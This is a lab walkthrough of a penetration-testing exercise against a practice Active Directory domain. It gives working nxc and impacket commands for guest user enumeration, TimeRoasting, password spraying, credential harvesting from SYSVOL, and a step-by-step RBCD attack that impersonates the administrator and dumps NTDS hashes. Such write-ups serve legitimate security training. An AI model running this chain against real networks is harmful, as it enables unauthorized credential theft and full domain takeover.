HackSmarter Past Walkthrough

Objective/Scope :

You have been hired by Hack Smarter to perform a Penetration Test on Past Systems Inc. During your call with the client, they stated they are currently adding new machines to the network.

Initial Access

The client has provided you with VPN access to their internal network, but no credentials.

Solution :

First we start by scanning the target :

Just by looking at the initial scan we can confirm this is a Domain Controller (Kerberos,Ldap,DNS) , since this is an AD machine , i always like to keep this quick checklist in mind :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now before we start we first add the hostname and domain name to our /etc/hosts file , we can use nxc for this :

First let’s try to generate a List of users that we can use for ASREPROASING , we can use nxc for this with anonymous access to both smb and ldap .

Anonymous login didn’t return anything useful , let’s check shares :

We find that we have READ access to a Share , looking at it , we find a list of AD machines :

We will keep this information for later .

I completely forgot to check for users using the guest account , since we can access the shares as Guest , we should be able to retrieve a list of usernames since i assume it will be misconfigured as well .

nxc smb $target -u 'guest' -p '' --rid-brute | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee users.txt 

We are able to get a list of users , perfect . Let’s test for ASREPROASTING :

Unfortunately , this didn’t return anything useful .

For this one i checked for Hints , and i got something called TimeRoasting that only requires us to have the RID range of machine accounts on the domain .

Machine accounts need to stay time-synced with the DC (relevant for things like Kerberos). Microsoft’s NTP authentication extension (MS-SNTP) secures these time responses using the machine account’s password hash as the key. Since this NTP exchange requires no authentication to initiate, an attacker can send NTP requests for a range of RIDs and receive back authenticated responses each one effectively a crackable hash tied to that account’s password. No domain credentials needed at all.

Now looking online for ways to perform TimeRoasting , i found that NXC also can be used for this using the mode TimeRoast :

nxc smb $target -u 'guest' -p '' -M timeroast

Now to crack these hashes we can use Hashcat the mode is 31300 :

Now using Hashcat :

Eventually we are able to crack 1 hash , our newly found password : ‘P@ssw0rd!’

Let’s first spray it across the machine accounts , then the users we generated earlier :

We’re able to get the Hash for the machine account : APPDEV01$ , we see that the user tyler has some account restrictions .

Now using the machine account let’s use Bloodhound to get a better view about the domain :

# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now if we check Bloodhound :

Nothing useful for us , if we check the Tyler user we found earlier :

He has Generic All over the EC2AMAZ-A5O4OL8 which is part of the Domain Controller Group :

Now if we can just get access to Tyler , we can compromise the entire thing .

Remember the user Tyler had : STATUS_ACCOUNT_RESTRICTION , Looked it up online , this means our user isn’t allowed to login due to policy restriction .

Back to our Machine account , i found that another way to get around this Restriction is to use Kerberos instead of SMB , we can first setup the Kerberos conf using nxc :

nxc smb $target --generate-krb5-file past.krb
export KRB5_CONFIG=kerb_conf

Now to test this :

nxc smb $target -u 'APPDEV01$'  -p 'P@ssw0rd!' -k
impacket-getTGT past.local/'APPDEV01$':'P@ssw0rd!' -dc-ip $target
export KRB5CCNAME=APPDEV01$.ccache
nxc smb $target -u 'APPDEV01$'  -k --use-kcache

Perfect Kerbros is working perfectly .

Now let’s check the shares using the APPDEV01 machine acc .

Perfect , we have some new shares we can read , let’s use nxc to spider the shares :

 nxc smb $target -u 'APPDEV01$'  -k --use-kcache --shares -M spider_plus

If we check the Json file we find this interesting file :

Maybe this file holds some creds since it’s used to automate tyler’s stuff . Let’s check the Sysvol share .

Just like that we got Tyler’s creds .

Let’s try logging in using Kerberos , first let’s ask for out TGT using impacket.getTGT :

impacket-getTGT past.local/'tyler':'5rtfgvb%RTFGVB' -dc-ip $target
export KRB5CCNAME=tyler.ccache
nxc smb $target -u 'tyler'  -k --use-kcache

Perfect , now back to Bloodhound , we saw that we got GenericALL over the machine .

One way to abuse this is via RBCD , i will be following this guide from AlteredSecurity on how to perform it :

https://www.alteredsecurity.com/post/resource-based-constrained-delegation-rbcd

Here are the steps to perform RCBD :

# 1. Generate krb5.conf for the domain (nxc helper)
nxc smb $target --generate-krb5-file kerb_conf
export KRB5_CONFIG=kerb_conf

# 2. Get a TGT for the initial low-priv user (tyler)
impacket-getTGT past.local/'tyler':'5rtfgvb%RTFGVB' -dc-ip $target
export KRB5CCNAME=tyler.ccache

# 3. Add a new computer account (FAKE$) using tyler's machine account quota rights
impacket-addcomputer -computer-name 'FAKE$' -computer-pass 'WEAK.123' \
  -dc-host EC2AMAZ-A5O4OL8.past.local -k -no-pass 'past.local/tyler'

# 4. Write Resource-Based Constrained Delegation: let FAKE$ delegate to the DC/target machine
rbcd.py past.local/tyler -k -no-pass \
  -delegate-to 'EC2AMAZ-A5O4OL8$' -delegate-from 'FAKE$' -action write

# (optional) confirm it landed
rbcd.py past.local/tyler -k -no-pass -delegate-to 'EC2AMAZ-A5O4OL8$' -action read

# 5. Get a TGT for the new FAKE$ machine account
impacket-getTGT past.local/'FAKE$':'WEAK.123' -dc-ip $target
export KRB5CCNAME=FAKE\$.ccache

# 6. S4U2Self + S4U2Proxy: impersonate Administrator via FAKE$'s delegation rights
impacket-getST -spn cifs/EC2AMAZ-A5O4OL8.past.local -impersonate administrator \
  -k -no-pass -dc-ip $target past.local/'FAKE$'

# 7. Use the impersonated Administrator ticket
export KRB5CCNAME=administrator@cifs_EC2AMAZ-A5O4OL8.past.local@PAST.LOCAL.ccache
nxc smb $target -u administrator -k --use-kcache --ntds

Now first we request our TGT as Tyler then add the computer account :

Now we abuse RBCD to allow our fake machine account to delegate to the DC machine .

Perfect now our Fake machine account can act on behalf of the DC machine .

Now to confirm :

Now we get a TGT as the fake machine account .

Now we can use our rights to impersonate the administrator on the DC machine :

Finally we can use his ticket to dump the NTDS :)

Finally we can use the admin hash to login via winrm :

The root flag is always in the administrator desktop :

And for the Ryan password , we can find it in the PS history : it is usually located at :

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\

That was all for this Lab , See you in the next one :)